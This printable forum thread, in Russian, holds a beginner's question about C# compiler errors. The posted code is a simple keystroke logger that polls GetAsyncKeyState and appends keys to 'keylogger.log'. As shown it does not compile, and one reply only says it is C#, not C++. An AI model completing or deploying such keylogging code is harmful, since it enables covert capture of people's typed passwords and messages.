Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Для новичков > C#, используйте версию 9.0 или выше


Автор: ttw1000s 30.12.2024, 10:42
Microsoft visual studio последней версии, проект Windows Forms (.NET Framework)
Первый раз пробую c# и визуал студио.
Код

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;


/// Импортируем GetAsyncKeyState из user32.dll:

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

// логирование нажатий

while (true)
{
    Thread.Sleep(100);
    for (int i = 0; i < 255; i++)
    {
        int state = GetAsyncKeyState(i);
        if (state != 0)
        {
            buf += ((Keys)i).ToString();
            if (buf.Length > 10)
            {
                File.AppendAllText("keylogger.log", buf);
                buf = "";
            }
        }
    }
}

ошибки:
Код

Компонент "инструкции верхнего уровня" недоступен в C# 7.3. Используйте версию языка 9.0 или выше.
Компонент "Атрибуты локальной функции" недоступен в C# 7.3. Используйте версию языка 9.0 или выше.
Модификатор "public" недопустим для этого элемента.
Компонент "статические локальные функции" недоступен в C# 7.3. Используйте версию языка 8.0 или выше.
Компонент "Внешние локальные функции" недоступен в C# 7.3. Используйте версию языка 9.0 или выше.
Имя "buf" не существует в текущем контексте.
Имя "buf" не существует в текущем контексте.
Имя "File" не существует в текущем контексте.
Имя "buf" не существует в текущем контексте.
Имя "buf" не существует в текущем контексте.

Автор: chipset 20.6.2025, 13:12
Йо, это не С++ это Шарп.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)